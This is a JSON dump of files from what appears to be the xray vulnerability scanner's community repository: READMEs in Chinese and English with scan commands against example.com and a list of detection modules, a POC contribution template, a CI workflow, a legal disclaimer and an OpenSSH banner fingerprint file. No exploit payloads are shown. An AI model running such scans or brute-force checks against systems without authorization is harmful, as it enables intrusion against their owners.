[ { "path": ".gitattributes", "content": "*.py linguist-language=Go\n" }, { "path": ".github/PULL_REQUEST_TEMPLATE.md", "content": "**请先认真阅读下列要求，如不符合会被直接关闭 PR**\n\n- 确保当前 POC 与已有的 POC 没有重复，除了仓库 `pocs` 目录中的，还有内置的几个用 Go 写的 POC也不要重复：\n ```\n poc-go-php-cve-2019-11043-rce\n poc-go-seeyon-htmlofficeservlet-rce\n poc-go-tongda-lfi-upload-rce\n poc-go-tongda-arbitrary-auth\n poc-go-ecology-dbconfig-info-leak\n poc-go-tomcat-put\n poc-go-tomcat-cve-2020-1938\n ```\n \n- 阅读规范和要求 \n - https://docs.xray.cool/#/guide/contribute\n - https://docs.xray.cool/#/guide/high_quality_poc\n\n- 一个 pull request 只提交一个 poc\n\n- 对于 0day / 1 day 等未大面积公开细节的漏洞请勿提交，可以私聊群管理员\n\n - 不接受没有测试环境的 poc，测试环境可以使用 [vulhub](https://github.com/vulhub/vulhub/) 或 [vulnapps](https://github.com/Medicean/VulApps)，也可以提供 fofa/zoomeye/shodan 等搜索关键字。 请勿直接填写公网上未修复的站点的地址，如果有特殊情况，请私聊群内管理解决。\n \n- 如果你的 poc 被合并或者没有合并但是评论说需要发送奖励，请查看 https://docs.xray.cool/#/guide/feedback 并添加最下面的微信，说明你的 poc 地址，方便发送奖励。\n\n**我是分割线，在提交 poc 填写说明的时候，请务必阅读上方要求，然后删除本分割线和上方的内容，只保留下面自定义的部分即可，否则不予通过。**\n\n----------\n\n## 本 poc 是检测什么漏洞的\n\n## 测试环境\n\n## 备注\n" }, { "path": ".github/workflows/check_poc.yml", "content": "name: Check POC\non: [push, pull_request]\njobs:\n check_poc:\n runs-on: ubuntu-18.04\n steps:\n - uses: actions/setup-python@v1\n with:\n python-version: 3.7\n - uses: actions/checkout@v2\n with:\n fetch-depth: 1\n - name: Prepare\n run: |\n cd $GITHUB_WORKSPACE && \\\n wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip && \\\n pip3 install yamllint && \\\n unzip xray_linux_amd64.zip && \\\n echo 'update:\n check: false' > config.yaml\n - name: Check POC\n run: |\n cd $GITHUB_WORKSPACE && \\\n ./xray_linux_amd64 poclint --script \"./pocs/*\" --filepath \"./pocs/\" --rules filename,filepath,yamlschema,yamllint,cellint && \\\n ./xray_linux_amd64 poclint --script \"./fingerprints/*\" --filepath \"./fingerprints/\" --rules filename,filepath,yamlschema,yamllint,cellint\n" }, { "path": ".gitignore", "content": "# Created by .ignore support plugin (hsz.mobi)\n### Python template\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n# Usually these files are written by a python script from a template\n# before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n# However, in case of collaboration, if having platform-specific dependencies or dependencies\n# having no cross-platform support, pipenv may install dependencies that don't work, or not\n# install all needed dependencies.\n#Pipfile.lock\n\n# celery beat schedule file\ncelerybeat-schedule\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n.idea\n.DS_Store\n" }, { "path": "Disclaimer.md", "content": "## 免责声明\n\n本工具仅面向**合法授权**的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。\n\n在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**\n\n如果您获得了本软件社区高级版等版本的 License，该 License 下的权益仅限您个人使用，**禁止以任何形式复制、分发、传播该 License。**\n\n禁止对本软件实施逆向工程、反编译、试图破译源代码等行为。\n\n**如果发现上述禁止行为，我们将保留追究您法律责任的权利。**\n\n如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。\n\n在安装并使用本工具前，请您**务必审慎阅读、充分理解各条款内容**，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。\n除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。\n\n\n## Disclaimer\n\nThis tool is only for **legally authorized** enterprise security construction behavior, if you need to test the usability of this tool, please build your own target environment.\n\nWhen using this tool for testing, you should ensure that the behavior complies with local laws and regulations and that sufficient authorization has been obtained. **Do not scan unauthorized targets.**\n\nIf you have obtained the License of the software Community Premium Edition and other versions, the rights and interests under the License are for your personal use only. **Reproduction, distribution and dissemination of the License in any form are prohibited.**\n\nIt is forbidden to reverse engineer, decompile, and attempt to decipher the source code of the software.\n\n**We reserve the right to hold you legally liable if we find the above prohibited behavior.**\n\nIf you have any illegal behavior in the process of using this tool, you need to bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.\n\nBefore installing and using the tool, please **be sure to carefully read and fully understand the content of the terms**. Limitations, disclaimers or other terms involving your significant rights and interests may be in bold, underlined and other forms to remind you to pay attention.\nPlease do not install and use this tool unless you have fully read, fully understand and accept all the terms of this Agreement. Your use of this Agreement or your acceptance of this Agreement by any other express or implied means shall be deemed that you have read and agreed to be bound by this Agreement." }, { "path": "LICENSE.md", "content": "在符合以下条件的情况下，我们欢迎任何人以任何形式使用本项目（包括商用）。\n\n - 注明集成了本项目（注明方式： 在项目介绍页附上本项目 repo 地址）\n - 同意 https://github.com/chaitin/xray/blob/master/Disclaimer.md 免责声明\n\nAnyone is welcome to use this program in any form provided the following conditions are met (Including commercial).\n\n - Indicate the integration of the project (indicate: attach the repo address of the project on the project introduction page)\n - Agree to https://github.com/chaitin/xray/blob/master/Disclaimer.md disclaimer" }, { "path": "README.md", "content": "

Welcome to xray 👋

\n

\n \n \n \n \n \"Documentation\"\n \n

\n\n

一款功能强大的安全评估工具

\n\n

\n 🏠使用文档 •\n ⬇️xray下载 •\n ⬇️xpoc下载 •\n ⬇️xapp下载 •\n 📖插件存储库\n

\n\n[**English Version**](./README_EN.md)\n\n> 注意：xray系列不开源，直接下载构建的二进制文件即可，仓库内主要为社区贡献的 poc，每次 xray 发布将自动打包。\n\n## ✨ xray2.0\n\n为了解决 xray 1.0在功能增加过程中变得复杂且臃肿的问题，我们推出了 xray 2.0。\n\n这一全新版本致力于提升功能使用的流畅度，降低使用门槛，并帮助更多安全行业从业者以更高效的模式收获更好的体验。xray 2.0 将整合一系列新的安全工具，形成一个全面的安全工具集。\n\n**xray2.0系列的第二款工具xapp已经上线，欢迎体验！**\n\n### XPOC\n\nxpoc是xray2.0系列的第一款工具，它是一款为供应链漏洞扫描设计的快速应急响应工具\n\n项目地址：https://github.com/chaitin/xpoc\n\n### XAPP\n\nxapp是一款专注于web指纹识别的工具。你可以使用xapp对web目标所使用的技术进行识别，为安全测试做好准备。\n\n项目地址：https://github.com/chaitin/xapp\n\n### 插件存储库\n\n我们为各类插件创建了一个专门的存储库，旨在方便大家共享和使用各种插件。\n\n这里主要收录的是开源的、转化成 xray格式的脚本，以供大家使用。\n\n我们会不定期地往这里推送一些新的插件，同时也希望大家能积极踊跃的优化或者提交插件，共同丰富这个仓库。\n\n项目地址：https://github.com/chaitin/xray-plugins\n\n## 🚀 快速使用\n\n**在使用之前，请务必阅读并同意 [License](https://github.com/chaitin/xray/blob/master/LICENSE.md) 文件中的条款，否则请勿安装使用本工具。**\n\n1. 使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描\n \n ```bash\n xray webscan --basic-crawler http://example.com --html-output vuln.html\n ```\n\n2. 使用 HTTP 代理进行被动扫描\n \n ```bash\n xray webscan --listen 127.0.0.1:7777 --html-output proxy.html\n ```\n 设置浏览器 http 代理为 `http://127.0.0.1:7777`，就可以自动分析代理流量并扫描。\n \n >如需扫描 https 流量，请阅读下方文档 `抓取 https 流量` 部分\n\n3. 只扫描单个 url，不使用爬虫\n \n ```bash\n xray webscan --url http://example.com/?a=b --html-output single-url.html\n ```\n\n4. 手动指定本次运行的插件\n \n 默认情况下，将会启用所有内置插件，可以使用下列命令指定本次扫描启用的插件。\n \n ```bash\n xray webscan --plugins cmd-injection,sqldet --url http://example.com\n xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777\n ```\n \n5. 指定插件输出\n\n 可以指定将本次扫描的漏洞信息输出到某个文件中:\n \n ```bash\n xray webscan --url http://example.com/?a=b \\\n --text-output result.txt --json-output result.json --html-output report.html\n ```\n \n [报告样例](https://docs.xray.cool/assets/report_example.html)\n\n其他用法请阅读文档： https://docs.xray.cool\n\n## 🪟 检测模块\n\n新的检测模块将不断添加\n\n| 名称 | Key | 版本 | 说明 |\n|----------------|------------------|-----|---------------------------------------------------------------------------------|\n| XSS漏洞检测 | `xss` | 社区版 | 利用语义分析的方式检测XSS漏洞 |\n| SQL 注入检测 | `sqldet` | 社区版 | 支持报错注入、布尔注入和时间盲注等 |\n| 命令/代码注入检测 | `cmd-injection` | 社区版 | 支持 shell 命令注入、PHP 代码执行、模板注入等 |\n| 目录枚举 | `dirscan` | 社区版 | 检测备份文件、临时文件、debug 页面、配置文件等10余类敏感路径和文件 |\n| 路径穿越检测 | `path-traversal` | 社区版 | 支持常见平台和编码 |\n| XML 实体注入检测 | `xxe` | 社区版 | 支持有回显和反连平台检测 |\n| poc 管理 | `phantasm` | 社区版 | 默认内置部分常用的 poc，用户可以根据需要自行构建 poc 并运行。文档：[POC](https://docs.xray.cool/#/guide/poc) |\n| 文件上传检测 | `upload` | 社区版 | 支持常见的后端语言 |\n| 弱口令检测 | `brute-force` | 社区版 | 社区版支持检测 HTTP 基础认证和简易表单弱口令，内置常见用户名和密码字典 |\n| jsonp 检测 | `jsonp` | 社区版 | 检测包含敏感信息可以被跨域读取的 jsonp 接口 |\n| ssrf 检测 | `ssrf` | 社区版 | ssrf 检测模块，支持常见的绕过技术和反连平台检测 |\n| 基线检查 | `baseline` | 社区版 | 检测低 SSL 版本、缺失的或错误添加的 http 头等 |\n| 任意跳转检测 | `redirect` | 社区版 | 支持 HTML meta 跳转、30x 跳转等 |\n| CRLF 注入 | `crlf-injection` | 社区版 | 检测 HTTP 头注入，支持 query、body 等位置的参数 |\n| XStream漏洞检测 | `xstream` | 社区版 | 检测XStream系列漏洞 |\n| Struts2 系列漏洞检测 | `struts` | 高级版 | 检测目标网站是否存在Struts2系列漏洞，包括s2-016、s2-032、s2-045、s2-059、s2-061等常见漏洞 |\n| Thinkphp系列漏洞检测 | `thinkphp` | 高级版 | 检测ThinkPHP开发的网站的相关漏洞 |\n| shiro反序列化漏洞检测 | `shiro` | 高级版 | 检测Shiro反序列化漏洞 |\n| fastjson系列检测 | `fastjson` | 高级版 | 检测fastjson系列漏洞 |\n\n\n## ⚡️ 进阶使用\n\n下列高级用法请查看 https://docs.xray.cool/ 使用。\n\n - 修改配置文件\n - 抓取 https 流量\n - 修改 http 发包配置\n - 反连平台的使用\n - ...\n\n## 😘 贡献 POC\n\nxray的进步离不开各位师傅的支持，秉持着互助共建的精神，为了让我们共同进步，xray也开通了“PoC收录”的渠道！在这里你将会得到：\n\n### 提交流程\n\n1. 贡献者以 PR 的方式向 github xray 社区仓库内提交， POC 提交位置: https://github.com/chaitin/xray/tree/master/pocs, 指纹识别脚本提交位置: https://github.com/chaitin/xray/tree/master/fingerprints\n2. PR 中根据 Pull Request 的模板填写 POC 信息\n3. 内部审核 PR，确定是否合并入仓库\n4. 但需要注意，如果想要获得POC的奖励，需要将你的POC提交到CT stack，才能获取到奖励\n\n### 丰厚的奖励\n\n- 贡献PoC将获得**丰厚的金币奖励**，成就感满满；\n- **丰富的礼品**兑换专区，50余种周边礼品任你挑选；\n- 定期更有京东卡上线兑换，离**财富自由**又近了一步；\n- 进入核心社群的机会，领取特殊任务，赚取**高额赏金**；\n\n### 完善的教程\n\n- 完善的**PoC编写教程和指导**，让你快速上手，少走弯路；\n\n### 学习与交流\n\n- **与贡献者、开发者面对面**学习交流的机会，各项能力综合提高；\n- 免笔试的**直通面试机会**，好工作不是梦；\n\n如果你已经成功贡献过PoC但是还没有进群，请添加客服微信：\n\n\n\n提供平台注册id进行验证，验证通过后即可进群！\n\n参照: https://docs.xray.cool/#/guide/contribute\n\n## 🔧周边生态\n\n### POC质量确认靶场\n\n[**Evil Pot**](https://github.com/chaitin/xray/tree/master/tests/evilpot)\n\n[Releases](https://github.com/chaitin/xray/releases?q=EvilPot&expanded=true)\n\n一个专门用于让扫描器产生误报的靶场\n\n编写插件应该尽量避免能在这个靶场扫描出结果\n\n### POC编写辅助工具\n\n该工具可以辅助生成POC，且在线版支持**poc查重**，本地版支持直接发包验证\n\n#### 在线版\n- [**规则实验室**](https://poc.xray.cool)\n- 在线版支持对**poc查重**\n#### 本地版\n- [**gamma-gui**](https://github.com/zeoxisca/gamma-gui)\n\n### xray gui辅助工具\n\n本工具仅是简单的命令行包装，并不是直接调用方法。在 xray 的规划中，未来会有一款真正的完善的 GUI 版 XrayPro 工具，敬请期待。\n\n- [**super-xray**](https://github.com/4ra1n/super-xray)\n\n## 📝 讨论区\n\n各位开发者和 xray 粉丝们，欢迎来[讨论区投票](https://github.com/chaitin/xray/discussions/1804)，决定 xray 2.0 工具的开发优先级，让你的声音塑造 xray 的未来！ 🚀\n\n提交误报漏报需求等等请务必先阅读 https://docs.xray.cool/#/guide/feedback\n\n如有问题可以在 GitHub 提 issue, 也可在下方的讨论组里\n\n1. GitHub:\n - https://github.com/chaitin/xray/issues\n - https://github.com/chaitin/xray/discussions\n\n2. 微信公众号：微信扫描以下二维码，关注我们\n\n \n\n3. 微信群: 请添加微信公众号并点击\"联系我们\" -> \"加群\"，然后扫描二维码加群\n\n4. QQ 群: 717365081\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=chaitin/xray&type=Date)](https://star-history.com/#chaitin/xray&Date)\n" }, { "path": "README_EN.md", "content": "

Welcome to xray 👋

\n

\n \n \n \n \n \"Documentation\"\n \n

\n\n

A Powerful Security Assessment Tool

\n\n

\n 🏠 Documentation •\n ⬇️ Download xray •\n ⬇️ Download xpoc •\n ⬇️ Download xapp •\n 📖 Plugin Repository\n

\n\n[**中文版**](./README.md)\n\n> Note: xray is not open source, just download the built binary files directly. The repository mainly contains community-contributed POCs. Each xray release will automatically package them.\n\n## ✨ xray 2.0\n\nTo address the issue of xray 1.0 becoming complex and bloated with added features, we have launched xray 2.0.\n\nThis new version aims to enhance the smoothness of functionality, lower the usage threshold, and help more security industry practitioners achieve a better experience more efficiently. xray 2.0 will integrate a series of new security tools to form a comprehensive security toolset.\n\n**The second tool in the xray 2.0 series, xapp, is now online, welcome to try it!**\n\n### XPOC\n\nxpoc is the first tool in the xray 2.0 series, designed as a rapid emergency response tool for supply chain vulnerability scanning.\n\nProject address: https://github.com/chaitin/xpoc\n\n### XAPP\n\nxapp is a tool focused on web fingerprint identification. You can use xapp to identify the technologies used by web targets and prepare for security testing.\n\nProject address: https://github.com/chaitin/xapp\n\n### Plugin Repository\n\nWe have created a dedicated repository for various plugins, aimed at facilitating the sharing and use of different plugins.\n\nIt mainly collects open-source scripts converted into xray format for everyone to use.\n\nWe will periodically push some new plugins here and hope everyone will actively optimize or submit plugins to enrich this repository together.\n\nProject address: https://github.com/chaitin/xray-plugins\n\n## 🚀 Quick Usage\n\n**Before using, be sure to read and agree to the terms in the [License](https://github.com/chaitin/xray/blob/master/LICENSE.md) file. If not, please do not install or use this tool.**\n\n1. Use the basic crawler to scan the links crawled by the crawler for vulnerabilities\n\n ```bash\n xray webscan --basic-crawler http://example.com --html-output vuln.html\n ```\n\n2. Use HTTP proxy for passive scanning\n\n ```bash\n xray webscan --listen 127.0.0.1:7777 --html-output proxy.html\n ```\n Set the browser's HTTP proxy to `http://127.0.0.1:7777`, then you can automatically analyze proxy traffic and scan it.\n\n > To scan HTTPS traffic, please read the \"Capture HTTPS Traffic\" section below.\n\n3. Scan a single URL without using a crawler\n\n ```bash\n xray webscan --url http://example.com/?a=b --html-output single-url.html\n ```\n\n4. Manually specify plugins for this run\n\n By default, all built-in plugins will be enabled. You can specify the plugins to be enabled for this scan with the following commands.\n\n ```bash\n xray webscan --plugins cmd-injection,sqldet --url http://example.com\n xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777\n ```\n\n5. Specify Plugin Output\n\n You can specify to output the vulnerability information of this scan to a file:\n\n ```bash\n xray webscan --url http://example.com/?a=b \\\n --text-output result.txt --json-output result.json --html-output report.html\n ```\n\n [Sample Report](https://docs.xray.cool/assets/report_example.html)\n\nFor other usage, please read the documentation: https://docs.xray.cool\n\n## 🪟 Detection Modules\n\nNew detection modules will be continuously added.\n\n| Name | Key | Version | Description |\n|------------------|------------------|----------|--------------------------------------------------------------------------------------|\n| XSS Detection | `xss` | Community | Detects XSS vulnerabilities using semantic analysis |\n| SQL Injection Detection | `sqldet` | Community | Supports error-based injection, boolean-based injection, and time-based blind injection |\n| Command/Code Injection Detection | `cmd-injection` | Community | Supports shell command injection, PHP code execution, template injection, etc. |\n| Directory Enumeration | `dirscan` | Community | Detects over 10 types of sensitive paths and files such as backup files, temporary files, debug pages, and configuration files |\n| Path Traversal Detection | `path-traversal` | Community | Supports common platforms and encodings |\n| XML External Entity (XXE) Detection | `xxe` | Community | Supports detection with echo and back-connect platform |\n| POC Management | `phantasm` | Community | Comes with some common POCs by default; users can build and run POCs as needed. Documentation: [POC](https://docs.xray.cool/#/guide/poc) |\n| File Upload Detection | `upload` | Community | Supports common backend languages |\n| Weak Password Detection | `brute-force` | Community | Community edition supports HTTP basic authentication and simple form weak password detection, with built-in common username and password dictionary |\n| JSONP Detection | `jsonp` | Community | Detects JSONP interfaces containing sensitive information that can be read across domains |\n| SSRF Detection | `ssrf` | Community | SSRF detection module, supports common bypass techniques and back-connect platform detection |\n| Baseline Check | `baseline` | Community | Detects low SSL versions, missing or incorrectly added HTTP headers |\n| Arbitrary Redirect Detection | `redirect` | Community | Supports HTML meta redirects, 30x redirects, etc. |\n| CRLF Injection | `crlf-injection` | Community | Detects HTTP header injection, supports parameters in query, body, etc. |\n| XStream Vulnerability Detection | `xstream` | Community | Detects XStream series vulnerabilities |\n| Struts2 Vulnerability Detection | `struts` | Advanced | Detects Struts2 series vulnerabilities, including common ones like s2-016, s2-032, s2-045, s2-059, s2-061, etc. |\n| ThinkPHP Vulnerability Detection | `thinkphp` | Advanced | Detects related vulnerabilities in websites developed with ThinkPHP |\n| Shiro Deserialization Vulnerability Detection | `shiro` | Advanced | Detects Shiro deserialization vulnerabilities |\n| Fastjson Vulnerability Detection | `fastjson` | Advanced | Detects Fastjson series vulnerabilities |\n\n\n## ⚡️ Advanced Usage\n\nFor the following advanced usage, please see https://docs.xray.cool/.\n\n- Modify configuration file\n- Capture HTTPS traffic\n- Modify HTTP request configuration\n- Use of the back-connect platform\n- ...\n\n## 😘 Contribute POCs\n\nThe progress of xray cannot be achieved without the support of many contributors. In the spirit of mutual assistance and co-construction, to help us all progress together, xray has also opened a channel for \"POC inclusion\"! Here you will get:\n\n### Submission Process\n\n1. Contributors submit to the GitHub xray community repository via PR. POC submission location: https://github.com/chaitin/xray/tree/master/pocs, fingerprint script submission location: https://github.com/chaitin/xray/tree/master/fingerprints\n2. Fill in the POC information according to the Pull Request template in the PR.\n3. Internal review of the PR to determine whether to merge into the repository.\n4. Note: To receive POC rewards, you need to submit your POC to the CT stack to receive the rewards.\n\n### Generous Rewards\n\n- Contribute POCs to receive **generous gold rewards** with a sense of accomplishment;\n- **Rich gift** redemption area, with over 50 kinds of peripheral gifts to choose from;\n- Regularly launch JD card redemption, getting **closer to financial freedom**;\n- Opportunity to enter the core community, receive special tasks, and earn **high bounties**;\n\n### Comprehensive Tutorials\n\n- Comprehensive **POC writing tutorials and guidance** to help you get started quickly and avoid pitfalls;\n\n### Learning and Communication\n\n- **Face-to-face learning and communication opportunities** with contributors and developers, improving comprehensive skills;\n- **Direct interview opportunities** without written tests, making good jobs not just a dream;\n\nIf you have successfully contributed a POC but have not yet\n\njoined the group, please add the customer service WeChat:\n\n\n\nProvide the platform registration ID for verification. Once verified, you can join the group!\n\nRefer to: https://docs.xray.cool/#/guide/contribute\n\n## 🔧 Surrounding Ecosystem\n\n\n### POC Quality Confirmation Range\n\n[**Evil Pot**](https://github.com/chaitin/xray/tree/master/tests/evilpot)\n\n[Releases](https://github.com/chaitin/xray/releases?q=EvilPot&expanded=true)\n\nA range specifically designed to allow scanners to generate false positives\n\nPlugins should be written to try to avoid being able to scan results in this range\n\n### POC Writing Assistant Tools\n\nThis tool can assist in generating POCs, and the online version supports **POC duplication checks**, while the local version supports direct packet verification.\n\n#### Online Version\n- [**Rule Laboratory**](https://poc.xray.cool)\n- The online version supports **POC duplication checks**.\n#### Local Version\n- [**gamma-gui**](https://github.com/zeoxisca/gamma-gui)\n\n### xray GUI Assistant Tools\n\nThis tool is just a simple command line wrapper, not a direct method call. In the xray plan, there will be a truly complete GUI version of XrayPro in the future, so stay tuned.\n\n- [**super-xray**](https://github.com/4ra1n/super-xray)\n\n## 📝 Discussion Area\n\nFellow developers and xray fans, feel free to come to [Discussion Board Vote](https://github.com/chaitin/xray/discussions/1804) to decide the development priorities for xray 2.0 tools and let your voice shape the future of xray! 🚀\n\nBefore submitting false positives, missed reports, or requests, please be sure to read https://docs.xray.cool/#/guide/feedback.\n\nIf you have any questions, you can submit an issue on GitHub or join the discussion groups below.\n\n1. GitHub:\n - https://github.com/chaitin/xray/issues\n - https://github.com/chaitin/xray/discussions\n\n2. WeChat Official Account: Scan the QR code below to follow us\n\n \n\n3. WeChat Group: Add the WeChat official account, click \"Contact Us\" -> \"Join Group\", and then scan the QR code to join the group.\n\n4. QQ Group: 717365081\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=chaitin/xray&type=Date)](https://star-history.com/#chaitin/xray&Date)" }, { "path": "docs/.nojekyll", "content": "" }, { "path": "docs/index.html", "content": "\n\n \n 将重定向到 xray 新文档站点\n\n\n\t

xray 的文档已经迁移至 docs.xray.cool，如果您的浏览器没有自动跳转，请点击上述链接。

\n\t\n\n\n" }, { "path": "fingerprints/tcp-openbsd-openssh.yml", "content": "name: fingerprint-yaml-tcp-openbsd-openssh\nmanual: false\ntransport: tcp\nset:\n re1: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) Debian-(?P\\\\S*maemo\\\\S*)\\\\r?\\\\n\"'\n re2: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)[ -]{1,2}Debian[ -_](?P.*ubuntu.*)\\\\r\\\\n\"'\n re3: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)[ -]{1,2}Ubuntu[ -_](?P[^\\\\r\\\\n]+)\\\\r?\\\\n\"'\n\n re4: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)[ -]{1,2}Debian[ -_](?P[^\\\\r\\\\n]+)\\\\r?\\\\n\"'\n re5: '\"^SSH-([\\\\d.]+)-OpenSSH_[\\\\w.]+-FC-(?P[\\\\w.-]+)\\\\.fc(\\\\d+)\\\\r\\\\n\"'\n re6: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) FreeBSD-([\\\\d]+)\\\\r?\\\\n\"'\n re7: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) FreeBSD localisations (\\\\d+)\\\\r?\\\\n\"'\n re8: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) FreeBSD-openssh-portable-(?:base-|amd64-)?[\\\\w.,]+\\\\r?\\\\n\"'\n re9: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) FreeBSD-openssh-portable-overwrite-base\"'\n re10: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) FreeBSD-openssh-gssapi-\"'\n re11: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) FreeBSD\\\\n\"'\n re12: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) miniBSD-([\\\\d]+)\\\\r?\\\\n\"'\n re13: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) NetBSD_Secure_Shell-([\\\\w._+-]+)\\\\r?\\\\n\"'\n re14: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)_Mikrotik_v(?P[\\\\d.]+)\\\\r?\\\\n\"'\n re15: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) in RemotelyAnywhere ([\\\\d.]+)\\\\r?\\\\n\"'\n re16: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)\\\\+CAN-2004-0175\\\\r?\\\\n\"'\n re17: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) NCSA_GSSAPI_20040818 KRB5\\\\r?\\\\n\"'\n re18: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)[-_]hpn(\\\\w+) *(?:\\\\\\\"\\\\\\\")?\\\\r?\\\\n\"'\n re19: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+\\\\+sftpfilecontrol-v[\\\\d.]+-hpn\\\\w+)\\\\r?\\\\n\"'\n re20: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+-hpn) NCSA_GSSAPI_\\\\d+ KRB5\\\\r?\\\\n\"'\n re21: '\"^SSH-([\\\\d.]+)-OpenSSH_3\\\\.4\\\\+p1\\\\+gssapi\\\\+OpenSSH_3\\\\.7\\\\.1buf_fix\\\\+2006100301\\\\r?\\\\n\"'\n re22: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+\\\\.RL)\\\\r?\\\\n\"'\n re23: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+-CERN\\\\d+)\\\\r?\\\\n\"'\n re24: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+\\\\.cern-hpn)\"'\n re25: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+-hpn)\\\\r?\\\\n\"'\n re26: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+-pwexp\\\\d+)\\\\r?\\\\n\"'\n re27: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)-chrootssh\\\\n\"'\n re28: '\"^SSH-([\\\\d.]+)-Nortel\\\\r?\\\\n\"'\n re29: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w.]+)[-_]hpn(\\\\w+) DragonFly-\"'\n re30: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w.]+) DragonFly-\"'\n re31: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w_.-]+) FIPS\\\\n\"'\n re32: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w_.-]+) FIPS\\\\r\\\\n\"'\n re33: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w_.-]+) NCSA_GSSAPI_GPT_([-\\\\w_.]+) GSI\\\\n\"'\n re34: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) \\\\.\\\\n\"'\n re35: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) PKIX\\\\r\\\\n\"'\n re36: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)-FIPS\\\\(capable\\\\)\\\\r\\\\n\"'\n re37: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+)-sshjail\\\\n\"'\n re38: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) Raspbian-(?P[^\\\\r\\\\n]+)\\\\r?\\\\n\"'\n re39: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) OVH-rescue\\\\r\\\\n\"'\n re40: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) Trisquel_GNU/linux_([\\\\d.]+)(?:-\\\\d+)?\\\\r\\\\n\"'\n re41: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) \\\\+ILOM\\\\.2015-5600\\\\r\\\\n\"'\n re42: '\"^SSH-([\\\\d.]+)-OpenSSH_(?P[\\\\w._-]+) SolidFire Element \\\\r\\\\n\"'\n 